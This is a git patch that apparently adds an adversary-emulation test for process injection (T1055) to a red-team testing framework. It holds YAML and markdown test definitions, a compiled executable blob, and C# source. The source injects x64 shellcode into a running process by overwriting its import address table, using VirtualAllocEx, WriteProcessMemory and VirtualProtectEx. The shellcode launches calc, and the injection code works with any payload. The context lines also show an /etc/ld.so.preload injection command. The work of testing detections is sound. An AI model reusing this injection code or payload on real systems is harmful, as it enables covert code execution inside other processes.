From a668ff07d95343087f0837af4e9f73811c7107a2 Mon Sep 17 00:00:00 2001 From: caseysmithrc <30840394+caseysmithrc@users.noreply.github.com> Date: Sun, 17 Feb 2019 15:45:00 -0700 Subject: [PATCH] T1055 process injection (#460) * ProcessInjection-FiveAlive * Generate docs from job=validate_atomics_generate_docs branch=T1055-ProcessInjection --- atomics/T1055/T1055.md | 27 + atomics/T1055/T1055.yaml | 23 + atomics/T1055/bin/T1055.exe | Bin 0 -> 20992 bytes atomics/T1055/src/T1055.cs | 1147 +++++++++++++++++++++++++++++++++++ atomics/index.md | 2 + atomics/index.yaml | 40 ++ atomics/windows-index.md | 2 + 7 files changed, 1241 insertions(+) create mode 100755 atomics/T1055/bin/T1055.exe create mode 100644 atomics/T1055/src/T1055.cs diff --git a/atomics/T1055/T1055.md b/atomics/T1055/T1055.md index 1d06a5d4..84785962 100644 --- a/atomics/T1055/T1055.md +++ b/atomics/T1055/T1055.md @@ -31,6 +31,8 @@ Malware commonly utilizes process injection to access system resources through w - [Atomic Test #3 - Shared Library Injection via /etc/ld.so.preload](#atomic-test-3---shared-library-injection-via-etcldsopreload) +- [Atomic Test #4 - Process Injection via C#](#atomic-test-4---process-injection-via-c) +
@@ -88,3 +90,28 @@ This test adds a shared library to the `ld.so.preload` list to execute and inter echo #{path_to_shared_library} > /etc/ld.so.preload ```
+
+ +## Atomic Test #4 - Process Injection via C# +Process Injection using C# +reference: https://github.com/pwndizzle/c-sharp-memory-injection +Excercises Five Techniques +1. Process injection +2. ApcInjectionAnyProcess +3. ApcInjectionNewProcess +4. IatInjection +5. ThreadHijack + +**Supported Platforms:** Windows + + +#### Inputs +| Name | Description | Type | Default Value | +|------|-------------|------|---------------| +| exe_binary | Output Binary | Path | T1055.exe| + +#### Run it with `command_prompt`! +``` +.\bin\#{exe_binary} +``` +
diff --git a/atomics/T1055/T1055.yaml b/atomics/T1055/T1055.yaml index f9cfd9b5..c7267e43 100644 --- a/atomics/T1055/T1055.yaml +++ b/atomics/T1055/T1055.yaml @@ -59,3 +59,26 @@ atomic_tests: name: bash command: | echo #{path_to_shared_library} > /etc/ld.so.preload +- name: Process Injection via C# + description: | + Process Injection using C# + reference: https://github.com/pwndizzle/c-sharp-memory-injection + Excercises Five Techniques + 1. Process injection + 2. ApcInjectionAnyProcess + 3. ApcInjectionNewProcess + 4. IatInjection + 5. ThreadHijack + + supported_platforms: + - windows + + input_arguments: + exe_binary: + description: Output Binary + type: Path + default: T1055.exe + executor: + name: command_prompt + command: | + .\bin\#{exe_binary} diff --git a/atomics/T1055/bin/T1055.exe b/atomics/T1055/bin/T1055.exe new file mode 100755 index 0000000000000000000000000000000000000000..45cbf99541fd2ed7a9bcec50908a157dec0b1652 GIT binary patch literal 20992 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 e)k7e-xBq(reader); + + // Add 4 bytes to the offset + stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin); + + UInt32 ntHeadersSignature = reader.ReadUInt32(); + fileHeader = FromBinaryReader(reader); + if (Is32BitHeader(fileHeader)) + { + optionalHeader32 = FromBinaryReader(reader); + } + else + { + optionalHeader64 = FromBinaryReader(reader); + } + + imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections]; + for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo) + { + imageSectionHeaders[headerNo] = FromBinaryReader(reader); + } + + // Go to ImportTable and parse every imported DLL + stream.Seek((long)((ulong)optionalHeader64.ImportTable.VirtualAddress), SeekOrigin.Begin); + importDescriptors = new IMAGE_IMPORT_DESCRIPTOR[50]; + + for (int i = 0; i < 50; i++) + { + importDescriptors[i] = FromBinaryReader(reader); + } + bool flag = false; + int j = 0; + + // The below is really hacky, would have been better to use structures! + while (j < importDescriptors.Length && !flag) + { + for (int k = 0; k < 1000; k++) + { + // Get the address for the function and its name + + stream.Seek(importDescriptors[j].OriginalFirstThunk + (k * 8), SeekOrigin.Begin); + + long nameOffset = reader.ReadInt64(); + if (nameOffset > 1000000 || nameOffset < 0) + { + break; + } + + // Get the function name + stream.Seek(nameOffset + 2, SeekOrigin.Begin); + List list = new List(); + byte[] array; + do + { + array = reader.ReadBytes(1); + list.Add(Encoding.Default.GetString(array)); + } + while (array[0] != 0); + string curFuncName = string.Join(string.Empty, list.ToArray()); + curFuncName = curFuncName.Substring(0, curFuncName.Length - 1); + + // Get the offset of the pointer to the target function and its current value + long funcOffset = importDescriptors[j].FirstThunk + (k * 8); + stream.Seek(funcOffset, SeekOrigin.Begin); + long curFuncAddr = reader.ReadInt64(); + + // Found target function, modify address to point to shellcode + if (curFuncName == targetFuncName) + { + + // WinExec shellcode from: https://github.com/peterferrie/win-exec-calc-shellcode + // nasm w64-exec-calc-shellcode.asm -DSTACK_ALIGN=TRUE -DFUNC=TRUE -DCLEAN=TRUE -o w64-exec-calc-shellcode.bin + byte[] payload = new byte[111] { + 0x50,0x51,0x52,0x53,0x56,0x57,0x55,0x54,0x58,0x66,0x83,0xe4,0xf0,0x50,0x6a,0x60,0x5a,0x68,0x63,0x61,0x6c,0x63,0x54,0x59,0x48,0x29,0xd4,0x65,0x48,0x8b,0x32,0x48,0x8b,0x76,0x18,0x48,0x8b,0x76,0x10,0x48,0xad,0x48,0x8b,0x30,0x48,0x8b,0x7e,0x30,0x03,0x57,0x3c,0x8b,0x5c,0x17,0x28,0x8b,0x74,0x1f,0x20,0x48,0x01,0xfe,0x8b,0x54,0x1f,0x24,0x0f,0xb7,0x2c,0x17,0x8d,0x52,0x02,0xad,0x81,0x3c,0x07,0x57,0x69,0x6e,0x45,0x75,0xef,0x8b,0x74,0x1f,0x1c,0x48,0x01,0xfe,0x8b,0x34,0xae,0x48,0x01,0xf7,0x99,0xff,0xd7,0x48,0x83,0xc4,0x68,0x5c,0x5d,0x5f,0x5e,0x5b,0x5a,0x59,0x58 + }; + + // Once shellcode has executed go to real import (mov to rax then jmp to address) + byte[] mov_rax = new byte[2] { + 0x48, 0xb8 + }; + byte[] jmp_address = BitConverter.GetBytes(curFuncAddr); + byte[] jmp_rax = new byte[2] { + 0xff, 0xe0 + }; + + // Build shellcode + byte[] shellcode = new byte[payload.Length + mov_rax.Length + jmp_address.Length + jmp_rax.Length]; + payload.CopyTo(shellcode, 0); + mov_rax.CopyTo(shellcode, payload.Length); + jmp_address.CopyTo(shellcode, payload.Length+mov_rax.Length); + jmp_rax.CopyTo(shellcode, payload.Length+mov_rax.Length+jmp_address.Length); + + // Allocate memory for shellcode + IntPtr shellcodeAddress = VirtualAllocEx(hProcess, IntPtr.Zero, shellcode.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE); + + // Write shellcode to memory + IntPtr shellcodeBytesWritten = IntPtr.Zero; + WriteProcessMemory(hProcess,shellcodeAddress,shellcode,shellcode.Length, out shellcodeBytesWritten); + + long funcAddress = (long)optionalHeader64.ImageBase + funcOffset; + + // Get current value of IAT + bytesRead = 0; + byte[] buffer1 = new byte[8]; + ReadProcessMemory(hProcess, (IntPtr)funcAddress, buffer1, buffer1.Length, ref bytesRead); + + // Get shellcode address + byte[] shellcodePtr = BitConverter.GetBytes((Int64)shellcodeAddress); + + // Modify permissions to allow IAT modification + uint oldProtect = 0; + bool protectbool = VirtualProtectEx(hProcess, (IntPtr)funcAddress, shellcodePtr.Length, PAGE_EXECUTE_READWRITE, out oldProtect); + + // Modfiy IAT to point to shellcode + IntPtr iatBytesWritten = IntPtr.Zero; + bool success = WriteProcessMemory(hProcess, (IntPtr)funcAddress, shellcodePtr, shellcodePtr.Length, out iatBytesWritten); + + // Read IAT to confirm new value + bytesRead = 0; + byte[] buffer = new byte[8]; + ReadProcessMemory(hProcess, (IntPtr)funcAddress, buffer, buffer.Length, ref bytesRead); + + + flag = true; + break; + } + } + j++; + } + } + + + public struct IMAGE_DOS_HEADER + { // DOS .EXE header + public UInt16 e_magic; // Magic number + public UInt16 e_cblp; // Bytes on last page of file + public UInt16 e_cp; // Pages in file + public UInt16 e_crlc; // Relocations + public UInt16 e_cparhdr; // Size of header in paragraphs + public UInt16 e_minalloc; // Minimum extra paragraphs needed + public UInt16 e_maxalloc; // Maximum extra paragraphs needed + public UInt16 e_ss; // Initial (relative) SS value + public UInt16 e_sp; // Initial SP value + public UInt16 e_csum; // Checksum + public UInt16 e_ip; // Initial IP value + public UInt16 e_cs; // Initial (relative) CS value + public UInt16 e_lfarlc; // File address of relocation table + public UInt16 e_ovno; // Overlay number + public UInt16 e_res_0; // Reserved words + public UInt16 e_res_1; // Reserved words + public UInt16 e_res_2; // Reserved words + public UInt16 e_res_3; // Reserved words + public UInt16 e_oemid; // OEM identifier (for e_oeminfo) + public UInt16 e_oeminfo; // OEM information; e_oemid specific + public UInt16 e_res2_0; // Reserved words + public UInt16 e_res2_1; // Reserved words + public UInt16 e_res2_2; // Reserved words + public UInt16 e_res2_3; // Reserved words + public UInt16 e_res2_4; // Reserved words + public UInt16 e_res2_5; // Reserved words + public UInt16 e_res2_6; // Reserved words + public UInt16 e_res2_7; // Reserved words + public UInt16 e_res2_8; // Reserved words + public UInt16 e_res2_9; // Reserved words + public UInt32 e_lfanew; // File address of new exe header + } + + [StructLayout(LayoutKind.Sequential)] + public struct IMAGE_DATA_DIRECTORY + { + public UInt32 VirtualAddress; + public UInt32 Size; + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct IMAGE_OPTIONAL_HEADER32 + { + public UInt16 Magic; + public Byte MajorLinkerVersion; + public Byte MinorLinkerVersion; + public UInt32 SizeOfCode; + public UInt32 SizeOfInitializedData; + public UInt32 SizeOfUninitializedData; + public UInt32 AddressOfEntryPoint; + public UInt32 BaseOfCode; + public UInt32 BaseOfData; + public UInt32 ImageBase; + public UInt32 SectionAlignment; + public UInt32 FileAlignment; + public UInt16 MajorOperatingSystemVersion; + public UInt16 MinorOperatingSystemVersion; + public UInt16 MajorImageVersion; + public UInt16 MinorImageVersion; + public UInt16 MajorSubsystemVersion; + public UInt16 MinorSubsystemVersion; + public UInt32 Win32VersionValue; + public UInt32 SizeOfImage; + public UInt32 SizeOfHeaders; + public UInt32 CheckSum; + public UInt16 Subsystem; + public UInt16 DllCharacteristics; + public UInt32 SizeOfStackReserve; + public UInt32 SizeOfStackCommit; + public UInt32 SizeOfHeapReserve; + public UInt32 SizeOfHeapCommit; + public UInt32 LoaderFlags; + public UInt32 NumberOfRvaAndSizes; + + public IMAGE_DATA_DIRECTORY ExportTable; + public IMAGE_DATA_DIRECTORY ImportTable; + public IMAGE_DATA_DIRECTORY ResourceTable; + public IMAGE_DATA_DIRECTORY ExceptionTable; + public IMAGE_DATA_DIRECTORY CertificateTable; + public IMAGE_DATA_DIRECTORY BaseRelocationTable; + public IMAGE_DATA_DIRECTORY Debug; + public IMAGE_DATA_DIRECTORY Architecture; + public IMAGE_DATA_DIRECTORY GlobalPtr; + public IMAGE_DATA_DIRECTORY TLSTable; + public IMAGE_DATA_DIRECTORY LoadConfigTable; + public IMAGE_DATA_DIRECTORY BoundImport; + public IMAGE_DATA_DIRECTORY IAT; + public IMAGE_DATA_DIRECTORY DelayImportDescriptor; + public IMAGE_DATA_DIRECTORY CLRRuntimeHeader; + public IMAGE_DATA_DIRECTORY Reserved; + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct IMAGE_OPTIONAL_HEADER64 + { + public UInt16 Magic; + public Byte MajorLinkerVersion; + public Byte MinorLinkerVersion; + public UInt32 SizeOfCode; + public UInt32 SizeOfInitializedData; + public UInt32 SizeOfUninitializedData; + public UInt32 AddressOfEntryPoint; + public UInt32 BaseOfCode; + public UInt64 ImageBase; + public UInt32 SectionAlignment; + public UInt32 FileAlignment; + public UInt16 MajorOperatingSystemVersion; + public UInt16 MinorOperatingSystemVersion; + public UInt16 MajorImageVersion; + public UInt16 MinorImageVersion; + public UInt16 MajorSubsystemVersion; + public UInt16 MinorSubsystemVersion; + public UInt32 Win32VersionValue; + public UInt32 SizeOfImage; + public UInt32 SizeOfHeaders; + public UInt32 CheckSum; + public UInt16 Subsystem; + public UInt16 DllCharacteristics; + public UInt64 SizeOfStackReserve; + public UInt64 SizeOfStackCommit; + public UInt64 SizeOfHeapReserve; + public UInt64 SizeOfHeapCommit; + public UInt32 LoaderFlags; + public UInt32 NumberOfRvaAndSizes; + + public IMAGE_DATA_DIRECTORY ExportTable; + public IMAGE_DATA_DIRECTORY ImportTable; + public IMAGE_DATA_DIRECTORY ResourceTable; + public IMAGE_DATA_DIRECTORY ExceptionTable; + public IMAGE_DATA_DIRECTORY CertificateTable; + public IMAGE_DATA_DIRECTORY BaseRelocationTable; + public IMAGE_DATA_DIRECTORY Debug; + public IMAGE_DATA_DIRECTORY Architecture; + public IMAGE_DATA_DIRECTORY GlobalPtr; + public IMAGE_DATA_DIRECTORY TLSTable; + public IMAGE_DATA_DIRECTORY LoadConfigTable; + public IMAGE_DATA_DIRECTORY BoundImport; + public IMAGE_DATA_DIRECTORY IAT; + public IMAGE_DATA_DIRECTORY DelayImportDescriptor; + public IMAGE_DATA_DIRECTORY CLRRuntimeHeader; + public IMAGE_DATA_DIRECTORY Reserved; + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct IMAGE_FILE_HEADER + { + public UInt16 Machine; + public UInt16 NumberOfSections; + public UInt32 TimeDateStamp; + public UInt32 PointerToSymbolTable; + public UInt32 NumberOfSymbols; + public UInt16 SizeOfOptionalHeader; + public UInt16 Characteristics; + } + + [StructLayout(LayoutKind.Explicit)] + public struct IMAGE_SECTION_HEADER + { + [FieldOffset(0)] + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] + public char[] Name; + [FieldOffset(8)] + public UInt32 VirtualSize; + [FieldOffset(12)] + public UInt32 VirtualAddress; + [FieldOffset(16)] + public UInt32 SizeOfRawData; + [FieldOffset(20)] + public UInt32 PointerToRawData; + [FieldOffset(24)] + public UInt32 PointerToRelocations; + [FieldOffset(28)] + public UInt32 PointerToLinenumbers; + [FieldOffset(32)] + public UInt16 NumberOfRelocations; + [FieldOffset(34)] + public UInt16 NumberOfLinenumbers; + [FieldOffset(36)] + public DataSectionFlags Characteristics; + + public string Section + { + get { return new string(Name); } + } + } + + [StructLayout(LayoutKind.Sequential)] + public struct IMAGE_IMPORT_DESCRIPTOR + { + public uint OriginalFirstThunk; + public uint TimeDateStamp; + public uint ForwarderChain; + public uint Name; + public uint FirstThunk; + } + + [StructLayout(LayoutKind.Sequential)] + public struct IMAGE_BASE_RELOCATION + { + public uint VirtualAdress; + public uint SizeOfBlock; + } + + [Flags] + public enum DataSectionFlags : uint + { + + Stub = 0x00000000, + + } + + public static T FromBinaryReader(BinaryReader reader) + { + // Read in a byte array + byte[] bytes = reader.ReadBytes(Marshal.SizeOf(typeof(T))); + + // Pin the managed memory while, copy it out the data, then unpin it + GCHandle handle = GCHandle.Alloc(bytes, GCHandleType.Pinned); + T theStructure = (T)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(T)); + handle.Free(); + + return theStructure; + } + + + public static bool Is32BitHeader(IMAGE_FILE_HEADER fileHeader) + { + UInt16 IMAGE_FILE_32BIT_MACHINE = 0x0100; + return 